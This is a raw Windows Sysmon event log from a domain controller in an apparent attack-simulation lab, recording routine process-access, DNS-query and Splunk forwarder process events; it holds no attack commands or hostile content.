09:11:26.636{A5F018FF-28C4-5F80-2300-000000007F01}29482964C:\Windows\servicing\TrustedInstaller.exe{A5F018FF-28C4-5F80-2400-000000007F01}2988C:\Windows\winsxs\amd64_microsoft-windows-servicingstack_31bf3856ad364e35_10.0.14393.3926_none_7ec739a4221e2b99\TiWorker.exe0x100000C:\Windows\SYSTEM32\ntdll.dll+a5ec4|C:\Windows\System32\KERNELBASE.dll+221bd|C:\Windows\System32\combase.dll+6eba8|C:\Windows\servicing\TrustedInstaller.exe+43a2|C:\Windows\servicing\TrustedInstaller.exe+1d1d|C:\Windows\servicing\TrustedInstaller.exe+28c6|C:\Windows\System32\sechost.dll+14342|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+6e871 10341000x80000000000000004541Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 09:11:35.400{A5F018FF-28BE-5F80-0C00-000000007F01}604712C:\Windows\system32\svchost.exe{A5F018FF-28CF-5F80-2A00-000000007F01}2788C:\Windows\System32\spoolsv.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a5ec4|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+e9d6|c:\windows\system32\lsm.dll+6668|C:\Windows\System32\RPCRT4.dll+78343|C:\Windows\System32\RPCRT4.dll+dbc0d|C:\Windows\System32\RPCRT4.dll+b3dc|C:\Windows\System32\RPCRT4.dll+59dc4|C:\Windows\System32\RPCRT4.dll+58cdd|C:\Windows\System32\RPCRT4.dll+5958b|C:\Windows\System32\RPCRT4.dll+3942c|C:\Windows\System32\RPCRT4.dll+398ac|C:\Windows\System32\RPCRT4.dll+53e9c|C:\Windows\System32\RPCRT4.dll+556fb|C:\Windows\System32\RPCRT4.dll+481da|C:\Windows\SYSTEM32\ntdll.dll+286be|C:\Windows\SYSTEM32\ntdll.dll+2a029|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+6e871 10341000x80000000000000004540Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 09:11:35.400{A5F018FF-28BE-5F80-0C00-000000007F01}604712C:\Windows\system32\svchost.exe{A5F018FF-28CF-5F80-2A00-000000007F01}2788C:\Windows\System32\spoolsv.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a5ec4|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+11aad|C:\Windows\System32\RPCRT4.dll+78343|C:\Windows\System32\RPCRT4.dll+dbc0d|C:\Windows\System32\RPCRT4.dll+b3dc|C:\Windows\System32\RPCRT4.dll+59dc4|C:\Windows\System32\RPCRT4.dll+58cdd|C:\Windows\System32\RPCRT4.dll+5958b|C:\Windows\System32\RPCRT4.dll+3942c|C:\Windows\System32\RPCRT4.dll+398ac|C:\Windows\System32\RPCRT4.dll+53e9c|C:\Windows\System32\RPCRT4.dll+556fb|C:\Windows\System32\RPCRT4.dll+481da|C:\Windows\SYSTEM32\ntdll.dll+286be|C:\Windows\SYSTEM32\ntdll.dll+2a029|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+6e871 10341000x80000000000000004539Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 09:11:35.400{A5F018FF-28BE-5F80-0C00-000000007F01}604712C:\Windows\system32\svchost.exe{A5F018FF-28CF-5F80-2A00-000000007F01}2788C:\Windows\System32\spoolsv.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a5ec4|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+11058|C:\Windows\System32\RPCRT4.dll+78343|C:\Windows\System32\RPCRT4.dll+dbc0d|C:\Windows\System32\RPCRT4.dll+b3dc|C:\Windows\System32\RPCRT4.dll+59dc4|C:\Windows\System32\RPCRT4.dll+58cdd|C:\Windows\System32\RPCRT4.dll+5958b|C:\Windows\System32\RPCRT4.dll+3942c|C:\Windows\System32\RPCRT4.dll+398ac|C:\Windows\System32\RPCRT4.dll+53e9c|C:\Windows\System32\RPCRT4.dll+556fb|C:\Windows\System32\RPCRT4.dll+481da|C:\Windows\SYSTEM32\ntdll.dll+286be|C:\Windows\SYSTEM32\ntdll.dll+2a029|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+6e871 10341000x80000000000000004538Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 09:11:35.400{A5F018FF-28BE-5F80-0C00-000000007F01}604712C:\Windows\system32\svchost.exe{A5F018FF-28CF-5F80-2A00-000000007F01}2788C:\Windows\System32\spoolsv.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a5ec4|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+12023|C:\Windows\System32\RPCRT4.dll+78343|C:\Windows\System32\RPCRT4.dll+dbc0d|C:\Windows\System32\RPCRT4.dll+b3dc|C:\Windows\System32\RPCRT4.dll+59dc4|C:\Windows\System32\RPCRT4.dll+58cdd|C:\Windows\System32\RPCRT4.dll+5958b|C:\Windows\System32\RPCRT4.dll+3942c|C:\Windows\System32\RPCRT4.dll+398ac|C:\Windows\System32\RPCRT4.dll+53e9c|C:\Windows\System32\RPCRT4.dll+556fb|C:\Windows\System32\RPCRT4.dll+481da|C:\Windows\SYSTEM32\ntdll.dll+286be|C:\Windows\SYSTEM32\ntdll.dll+2a029|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+6e871 10341000x80000000000000004537Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 09:11:35.400{A5F018FF-28BE-5F80-0C00-000000007F01}604712C:\Windows\system32\svchost.exe{A5F018FF-28CF-5F80-2A00-000000007F01}2788C:\Windows\System32\spoolsv.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a5ec4|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+e9d6|c:\windows\system32\lsm.dll+6668|C:\Windows\System32\RPCRT4.dll+78343|C:\Windows\System32\RPCRT4.dll+dbc0d|C:\Windows\System32\RPCRT4.dll+b3dc|C:\Windows\System32\RPCRT4.dll+59dc4|C:\Windows\System32\RPCRT4.dll+58cdd|C:\Windows\System32\RPCRT4.dll+5958b|C:\Windows\System32\RPCRT4.dll+3942c|C:\Windows\System32\RPCRT4.dll+398ac|C:\Windows\System32\RPCRT4.dll+53e9c|C:\Windows\System32\RPCRT4.dll+556fb|C:\Windows\System32\RPCRT4.dll+481da|C:\Windows\SYSTEM32\ntdll.dll+286be|C:\Windows\SYSTEM32\ntdll.dll+2a029|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+6e871 10341000x80000000000000004536Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 09:11:35.400{A5F018FF-28BE-5F80-0C00-000000007F01}604712C:\Windows\system32\svchost.exe{A5F018FF-28CF-5F80-2A00-000000007F01}2788C:\Windows\System32\spoolsv.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a5ec4|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+11aad|C:\Windows\System32\RPCRT4.dll+78343|C:\Windows\System32\RPCRT4.dll+dbc0d|C:\Windows\System32\RPCRT4.dll+b3dc|C:\Windows\System32\RPCRT4.dll+59dc4|C:\Windows\System32\RPCRT4.dll+58cdd|C:\Windows\System32\RPCRT4.dll+5958b|C:\Windows\System32\RPCRT4.dll+3942c|C:\Windows\System32\RPCRT4.dll+398ac|C:\Windows\System32\RPCRT4.dll+53e9c|C:\Windows\System32\RPCRT4.dll+556fb|C:\Windows\System32\RPCRT4.dll+481da|C:\Windows\SYSTEM32\ntdll.dll+286be|C:\Windows\SYSTEM32\ntdll.dll+2a029|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+6e871 10341000x80000000000000004535Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 09:11:35.400{A5F018FF-28BE-5F80-0C00-000000007F01}604712C:\Windows\system32\svchost.exe{A5F018FF-28CF-5F80-2A00-000000007F01}2788C:\Windows\System32\spoolsv.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a5ec4|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+11058|C:\Windows\System32\RPCRT4.dll+78343|C:\Windows\System32\RPCRT4.dll+dbc0d|C:\Windows\System32\RPCRT4.dll+b3dc|C:\Windows\System32\RPCRT4.dll+59dc4|C:\Windows\System32\RPCRT4.dll+58cdd|C:\Windows\System32\RPCRT4.dll+5958b|C:\Windows\System32\RPCRT4.dll+3942c|C:\Windows\System32\RPCRT4.dll+398ac|C:\Windows\System32\RPCRT4.dll+53e9c|C:\Windows\System32\RPCRT4.dll+556fb|C:\Windows\System32\RPCRT4.dll+481da|C:\Windows\SYSTEM32\ntdll.dll+286be|C:\Windows\SYSTEM32\ntdll.dll+2a029|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+6e871 10341000x80000000000000004534Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 09:11:35.400{A5F018FF-28BE-5F80-0C00-000000007F01}604712C:\Windows\system32\svchost.exe{A5F018FF-28CF-5F80-2A00-000000007F01}2788C:\Windows\System32\spoolsv.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a5ec4|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+12023|C:\Windows\System32\RPCRT4.dll+78343|C:\Windows\System32\RPCRT4.dll+dbc0d|C:\Windows\System32\RPCRT4.dll+b3dc|C:\Windows\System32\RPCRT4.dll+59dc4|C:\Windows\System32\RPCRT4.dll+58cdd|C:\Windows\System32\RPCRT4.dll+5958b|C:\Windows\System32\RPCRT4.dll+3942c|C:\Windows\System32\RPCRT4.dll+398ac|C:\Windows\System32\RPCRT4.dll+53e9c|C:\Windows\System32\RPCRT4.dll+556fb|C:\Windows\System32\RPCRT4.dll+481da|C:\Windows\SYSTEM32\ntdll.dll+286be|C:\Windows\SYSTEM32\ntdll.dll+2a029|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+6e871 22542200x80000000000000004544Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 09:11:35.415{A5F018FF-28CF-5F80-2A00-000000007F01}2788WIN-DC-17966110fe80::15f7:4ea2:8f9e:67e8;C:\Windows\System32\spoolsv.exe 22542200x80000000000000004543Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 09:11:35.415{A5F018FF-28CF-5F80-2A00-000000007F01}2788WIN-DC-1796611010.0.1.14;C:\Windows\System32\spoolsv.exe 22542200x80000000000000004542Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 09:11:35.325{A5F018FF-28CF-5F80-2A00-000000007F01}2788WIN-DC-17966110fe80::15f7:4ea2:8f9e:67e8;::ffff:10.0.1.14;C:\Windows\System32\spoolsv.exe 10341000x80000000000000004660Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 09:11:39.978{A5F018FF-28D0-5F80-3D00-000000007F01}39123932C:\Windows\system32\conhost.exe{A5F018FF-294B-5F80-F500-000000007F01}4596C:\Program Files\SplunkUniversalForwarder\bin\SplunkD.EXE0x1fffffC:\Windows\SYSTEM32\ntdll.dll+a5ec4|C:\Windows\SYSTEM32\ConhostV2.dll+5c07|C:\Windows\SYSTEM32\ConhostV2.dll+76ab|C:\Windows\SYSTEM32\ConhostV2.dll+a84c|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+6e871 10341000x80000000000000004659Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 09:11:39.978{A5F018FF-28BE-5F80-0C00-000000007F01}604712C:\Windows\system32\svchost.exe{A5F018FF-28CF-5F80-3000-000000007F01}2508C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a5ec4|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+e9d6|c:\windows\system32\lsm.dll+d3ae|C:\Windows\System32\RPCRT4.dll+78343|C:\Windows\System32\RPCRT4.dll+dbc0d|C:\Windows\System32\RPCRT4.dll+b3dc|C:\Windows\System32\RPCRT4.dll+59dc4|C:\Windows\System32\RPCRT4.dll+58cdd|C:\Windows\System32\RPCRT4.dll+5958b|C:\Windows\System32\RPCRT4.dll+3942c|C:\Windows\System32\RPCRT4.dll+398ac|C:\Windows\System32\RPCRT4.dll+53e9c|C:\Windows\System32\RPCRT4.dll+556fb|C:\Windows\System32\RPCRT4.dll+481da|C:\Windows\SYSTEM32\ntdll.dll+286be|C:\Windows\SYSTEM32\ntdll.dll+2a029|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+6e871 10341000x80000000000000004658Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 09:11:39.978{A5F018FF-28BE-5F80-0C00-000000007F01}604712C:\Windows\system32\svchost.exe{A5F018FF-28CF-5F80-3000-000000007F01}2508C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a5ec4|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+11aad|C:\Windows\System32\RPCRT4.dll+78343|C:\Windows\System32\RPCRT4.dll+dbc0d|C:\Windows\System32\RPCRT4.dll+b3dc|C:\Windows\System32\RPCRT4.dll+59dc4|C:\Windows\System32\RPCRT4.dll+58cdd|C:\Windows\System32\RPCRT4.dll+5958b|C:\Windows\System32\RPCRT4.dll+3942c|C:\Windows\System32\RPCRT4.dll+398ac|C:\Windows\System32\RPCRT4.dll+53e9c|C:\Windows\System32\RPCRT4.dll+556fb|C:\Windows\System32\RPCRT4.dll+481da|C:\Windows\SYSTEM32\ntdll.dll+286be|C:\Windows\SYSTEM32\ntdll.dll+2a029|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+6e871 10341000x80000000000000004657Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 09:11:39.978{A5F018FF-28BE-5F80-0C00-000000007F01}604712C:\Windows\system32\svchost.exe{A5F018FF-28CF-5F80-3000-000000007F01}2508C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a5ec4|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+11058|C:\Windows\System32\RPCRT4.dll+78343|C:\Windows\System32\RPCRT4.dll+dbc0d|C:\Windows\System32\RPCRT4.dll+b3dc|C:\Windows\System32\RPCRT4.dll+59dc4|C:\Windows\System32\RPCRT4.dll+58cdd|C:\Windows\System32\RPCRT4.dll+5958b|C:\Windows\System32\RPCRT4.dll+3942c|C:\Windows\System32\RPCRT4.dll+398ac|C:\Windows\System32\RPCRT4.dll+53e9c|C:\Windows\System32\RPCRT4.dll+556fb|C:\Windows\System32\RPCRT4.dll+481da|C:\Windows\SYSTEM32\ntdll.dll+286be|C:\Windows\SYSTEM32\ntdll.dll+2a029|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+6e871 10341000x80000000000000004656Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 09:11:39.978{A5F018FF-28BE-5F80-0C00-000000007F01}604712C:\Windows\system32\svchost.exe{A5F018FF-28CF-5F80-3000-000000007F01}2508C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a5ec4|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+12023|C:\Windows\System32\RPCRT4.dll+78343|C:\Windows\System32\RPCRT4.dll+dbc0d|C:\Windows\System32\RPCRT4.dll+b3dc|C:\Windows\System32\RPCRT4.dll+59dc4|C:\Windows\System32\RPCRT4.dll+58cdd|C:\Windows\System32\RPCRT4.dll+5958b|C:\Windows\System32\RPCRT4.dll+3942c|C:\Windows\System32\RPCRT4.dll+398ac|C:\Windows\System32\RPCRT4.dll+53e9c|C:\Windows\System32\RPCRT4.dll+556fb|C:\Windows\System32\RPCRT4.dll+481da|C:\Windows\SYSTEM32\ntdll.dll+286be|C:\Windows\SYSTEM32\ntdll.dll+2a029|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+6e871 10341000x80000000000000004655Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 09:11:39.978{A5F018FF-28BE-5F80-0C00-000000007F01}604712C:\Windows\system32\svchost.exe{A5F018FF-28CF-5F80-3000-000000007F01}2508C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a5ec4|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+e9d6|c:\windows\system32\lsm.dll+8fc1|c:\windows\system32\lsm.dll+8eb0|C:\Windows\System32\RPCRT4.dll+78343|C:\Windows\System32\RPCRT4.dll+dbc0d|C:\Windows\System32\RPCRT4.dll+b3dc|C:\Windows\System32\RPCRT4.dll+59dc4|C:\Windows\System32\RPCRT4.dll+58cdd|C:\Windows\System32\RPCRT4.dll+5958b|C:\Windows\System32\RPCRT4.dll+3942c|C:\Windows\System32\RPCRT4.dll+398ac|C:\Windows\System32\RPCRT4.dll+53e9c|C:\Windows\System32\RPCRT4.dll+556fb|C:\Windows\System32\RPCRT4.dll+481da|C:\Windows\SYSTEM32\ntdll.dll+286be|C:\Windows\SYSTEM32\ntdll.dll+2a029|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+6e871 10341000x80000000000000004654Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 09:11:39.962{A5F018FF-28BE-5F80-0C00-000000007F01}604712C:\Windows\system32\svchost.exe{A5F018FF-28CF-5F80-3000-000000007F01}2508C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a5ec4|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+e9d6|c:\windows\system32\lsm.dll+8e6f|C:\Windows\System32\RPCRT4.dll+78343|C:\Windows\System32\RPCRT4.dll+dbc0d|C:\Windows\System32\RPCRT4.dll+b3dc|C:\Windows\System32\RPCRT4.dll+59dc4|C:\Windows\System32\RPCRT4.dll+58cdd|C:\Windows\System32\RPCRT4.dll+5958b|C:\Windows\System32\RPCRT4.dll+3942c|C:\Windows\System32\RPCRT4.dll+398ac|C:\Windows\System32\RPCRT4.dll+53e9c|C:\Windows\System32\RPCRT4.dll+556fb|C:\Windows\System32\RPCRT4.dll+481da|C:\Windows\SYSTEM32\ntdll.dll+286be|C:\Windows\SYSTEM32\ntdll.dll+2a029|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+6e871 10341000x80000000000000004653Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 09:11:39.962{A5F018FF-28BE-5F80-0C00-000000007F01}604712C:\Windows\system32\svchost.exe{A5F018FF-28CF-5F80-3000-000000007F01}2508C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a5ec4|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+11aad|C:\Windows\System32\RPCRT4.dll+78343|C:\Windows\System32\RPCRT4.dll+dbc0d|C:\Windows\System32\RPCRT4.dll+b3dc|C:\Windows\System32\RPCRT4.dll+59dc4|C:\Windows\System32\RPCRT4.dll+58cdd|C:\Windows\System32\RPCRT4.dll+5958b|C:\Windows\System32\RPCRT4.dll+3942c|C:\Windows\System32\RPCRT4.dll+398ac|C:\Windows\System32\RPCRT4.dll+53e9c|C:\Windows\System32\RPCRT4.dll+556fb|C:\Windows\System32\RPCRT4.dll+481da|C:\Windows\SYSTEM32\ntdll.dll+286be|C:\Windows\SYSTEM32\ntdll.dll+2a029|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+6e871 10341000x80000000000000004652Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 09:11:39.962{A5F018FF-28BE-5F80-0C00-000000007F01}604712C:\Windows\system32\svchost.exe{A5F018FF-28CF-5F80-3000-000000007F01}2508C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a5ec4|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+11058|C:\Windows\System32\RPCRT4.dll+78343|C:\Windows\System32\RPCRT4.dll+dbc0d|C:\Windows\System32\RPCRT4.dll+b3dc|C:\Windows\System32\RPCRT4.dll+59dc4|C:\Windows\System32\RPCRT4.dll+58cdd|C:\Windows\System32\RPCRT4.dll+5958b|C:\Windows\System32\RPCRT4.dll+3942c|C:\Windows\System32\RPCRT4.dll+398ac|C:\Windows\System32\RPCRT4.dll+53e9c|C:\Windows\System32\RPCRT4.dll+556fb|C:\Windows\System32\RPCRT4.dll+481da|C:\Windows\SYSTEM32\ntdll.dll+286be|C:\Windows\SYSTEM32\ntdll.dll+2a029|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+6e871 10341000x80000000000000004651Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 09:11:39.962{A5F018FF-28BC-5F80-0500-000000007F01}644660C:\Windows\system32\csrss.exe{A5F018FF-294B-5F80-F500-000000007F01}4596C:\Program Files\SplunkUniversalForwarder\bin\SplunkD.EXE0x1fffffC:\Windows\SYSTEM32\ntdll.dll+a5ec4|C:\Windows\system32\basesrv.DLL+2f47|C:\Windows\SYSTEM32\CSRSRV.dll+5645|C:\Windows\SYSTEM32\ntdll.dll+6e87f 10341000x80000000000000004650Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 09:11:39.962{A5F018FF-28BE-5F80-0C00-000000007F01}604712C:\Windows\system32\svchost.exe{A5F018FF-28CF-5F80-3000-000000007F01}2508C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a5ec4|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+12023|C:\Windows\System32\RPCRT4.dll+78343|C:\Windows\System32\RPCRT4.dll+dbc0d|C:\Windows\System32\RPCRT4.dll+b3dc|C:\Windows\System32\RPCRT4.dll+59dc4|C:\Windows\System32\RPCRT4.dll+58cdd|C:\Windows\System32\RPCRT4.dll+5958b|C:\Windows\System32\RPCRT4.dll+3942c|C:\Windows\System32\RPCRT4.dll+398ac|C:\Windows\System32\RPCRT4.dll+53e9c|C:\Windows\System32\RPCRT4.dll+556fb|C:\Windows\System32\RPCRT4.dll+481da|C:\Windows\SYSTEM32\ntdll.dll+286be|C:\Windows\SYSTEM32\ntdll.dll+2a029|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+6e871 10341000x80000000000000004649Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 09:11:39.962{A5F018FF-294B-5F80-F400-000000007F01}30842840C:\Program Files\SplunkUniversalForwarder\bin\btool.exe{A5F018FF-294B-5F80-F500-000000007F01}4596C:\Program Files\SplunkUniversalForwarder\bin\SplunkD.EXE0x1fffffC:\Windows\SYSTEM32\ntdll.dll+a7194|C:\Windows\System32\KERNELBASE.dll+2b860|C:\Windows\System32\KERNELBASE.dll+6b246|C:\Windows\System32\KERNEL32.DLL+1c213|C:\Program Files\SplunkUniversalForwarder\bin\btool.exe+239c|C:\Program Files\SplunkUniversalForwarder\bin\btool.exe+2568|C:\Program Files\SplunkUniversalForwarder\bin\btool.exe+2926|C:\Program Files\SplunkUniversalForwarder\bin\btool.exe+11cf|C:\Program Files\SplunkUniversalForwarder\bin\btool.exe+1245|C:\Program Files\SplunkUniversalForwarder\bin\btool.exe+aa24|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+6e871 154100x80000000000000004648Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 09:11:39.977{A5F018FF-294B-5F80-F500-000000007F01}4596C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe8.0.2splunkd servicesplunk ApplicationSplunk Inc.splunkd.exe"C:\Program Files\SplunkUniversalForwarder\bin\SplunkD.EXE" btool server list general --no-logC:\Windows\system32\NT AUTHORITY\SYSTEM{A5F018FF-28BD-5F80-E703-000000000000}0x3e70SystemMD5=B6D66AB97239BFB32F1CC9B8BFE1B4E0,SHA256=9D5EC3AA587B29840BE53E8E11B1C3BFE2FA3413DD65459325CBEEAFA66D3975,IMPHASH=CD69F86EE9B3C12390F5C7499BD3A589{A5F018FF-294B-5F80-F400-000000007F01}3084C:\Program Files\SplunkUniversalForwarder\bin\btool.exebtool server list general --no-log 10341000x80000000000000004647Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 09:11:39.962{A5F018FF-28D0-5F80-3D00-000000007F01}39123932C:\Windows\system32\conhost.exe{A5F018FF-294B-5F80-F400-000000007F01}3084C:\Program Files\SplunkUniversalForwarder\bin\btool.exe0x1fffffC:\Windows\SYSTEM32\ntdll.dll+a5ec4|C:\Windows\SYSTEM32\ConhostV2.dll+5c07|C:\Windows\SYSTEM32\ConhostV2.dll+76ab|C:\Windows\SYSTEM32\ConhostV2.dll+a84c|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+6e871 10341000x80000000000000004646Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 09:11:39.962{A5F018FF-28BE-5F80-0C00-000000007F01}604712C:\Windows\system32\svchost.exe{A5F018FF-28CF-5F80-3000-000000007F01}2508C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a5ec4|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+e9d6|c:\windows\system32\lsm.dll+d3ae|C:\Windows\System32\RPCRT4.dll+78343|C:\Windows\System32\RPCRT4.dll+dbc0d|C:\Windows\System32\RPCRT4.dll+b3dc|C:\Windows\System32\RPCRT4.dll+59dc4|C:\Windows\System32\RPCRT4.dll+58cdd|C:\Windows\System32\RPCRT4.dll+5958b|C:\Windows\System32\RPCRT4.dll+3942c|C:\Windows\System32\RPCRT4.dll+398ac|C:\Windows\System32\RPCRT4.dll+53e9c|C:\Windows\System32\RPCRT4.dll+556fb|C:\Windows\System32\RPCRT4.dll+481da|C:\Windows\SYSTEM32\ntdll.dll+286be|C:\Windows\SYSTEM32\ntdll.dll+2a029|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+6e871 10341000x80000000000000004645Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 09:11:39.962{A5F018FF-28BE-5F80-0C00-000000007F01}604712C:\Windows\system32\svchost.exe{A5F018FF-28CF-5F80-3000-000000007F01}2508C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a5ec4|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+11aad|C:\Windows\System32\RPCRT4.dll+78343|C:\Windows\System32\RPCRT4.dll+dbc0d|C:\Windows\System32\RPCRT4.dll+b3dc|C:\Windows\System32\RPCRT4.dll+59dc4|C:\Windows\System32\RPCRT4.dll+58cdd|C:\Windows\System32\RPCRT4.dll+5958b|C:\Windows\System32\RPCRT4.dll+3942c|C:\Windows\System32\RPCRT4.dll+398ac|C:\Windows\System32\RPCRT4.dll+53e9c|C:\Windows\System32\RPCRT4.dll+556fb|C:\Windows\System32\RPCRT4.dll+481da|C:\Windows\SYSTEM32\ntdll.dll+286be|C:\Windows\SYSTEM32\ntdll.dll+2a029|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+6e871 10341000x80000000000000004644Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 09:11:39.962{A5F018FF-28BE-5F80-0C00-000000007F01}604712C:\Windows\system32\svchost.exe{A5F018FF-28CF-5F80-3000-000000007F01}2508C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a5ec4|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+11058|C:\Windows\System32\RPCRT4.dll+78343|C:\Windows\System32\RPCRT4.dll+dbc0d|C:\Windows\System32\RPCRT4.dll+b3dc|C:\Windows\System32\RPCRT4.dll+59dc4|C:\Windows\System32\RPCRT4.dll+58cdd|C:\Windows\System32\RPCRT4.dll+5958b|C:\Windows\System32\RPCRT4.dll+3942c|C:\Windows\System32\RPCRT4.dll+398ac|C:\Windows\System32\RPCRT4.dll+53e9c|C:\Windows\System32\RPCRT4.dll+556fb|C:\Windows\System32\RPCRT4.dll+481da|C:\Windows\SYSTEM32\ntdll.dll+286be|C:\Windows\SYSTEM32\ntdll.dll+2a029|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+6e871 10341000x80000000000000004643Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 